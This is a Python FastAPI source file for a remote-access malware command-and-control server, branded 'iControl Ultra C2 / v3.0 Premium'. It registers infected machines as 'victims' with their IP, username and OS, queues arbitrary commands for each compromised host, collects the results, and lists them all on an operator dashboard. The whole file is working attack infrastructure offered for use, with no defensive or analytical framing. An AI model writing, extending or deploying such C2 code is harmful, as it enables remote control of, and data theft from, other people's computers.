import os, datetime, json, base64
from fastapi import FastAPI, Request, Form, UploadFile, File
from fastapi.responses import HTMLResponse, JSONResponse
from jinja2 import Template
app = FastAPI()
victims = {} # Хранилище в памяти. Для сохранения при перезагрузке используй SQLite.
DASHBOARD_HTML = """
iControl Ultra C2
iControl v3.0 Premium
Active: {{ victims|length }}
{% for hwid, data in victims.items() %}
{{ data.info.username }} @ {{ hwid }}
{{ data.info.os }} | {{ data.ip }}
{{ data.last_result[:200] }}
{% endfor %}
"""
@app.get("/", response_class=HTMLResponse)
async def index():
return Template(DASHBOARD_HTML).render(victims=victims)
@app.post("/api/reg")
async def reg(data: dict, request: Request):
hwid = data['hwid']
victims[hwid] = {"ip": request.client.host, "info": data, "queue": [], "last_result": "idle"}
return {"status": "ok"}
@app.get("/api/task/{hwid}")
async def task(hwid: str):
if hwid in victims and victims[hwid]["queue"]:
return {"cmd": victims[hwid]["queue"].pop(0)}
return {"cmd": "idle"}
@app.post("/api/report")
async def report(data: dict):
if data['hwid'] in victims:
victims[data['hwid']]["last_result"] = data['result']
return {"status": "ok"}
@app.get("/api/res/{hwid}")
async def get_res(hwid: str):
return {"result": victims.get(hwid, {}).get("last_result", "idle")}
@app.post("/cmd")
async def add_cmd(hwid: str = Form(...), command: str = Form(...)):
if hwid in victims:
victims[hwid]["queue"].append(command)
victims[hwid]["last_result"] = "idle"
return {"ok": True}
return {"ok": False}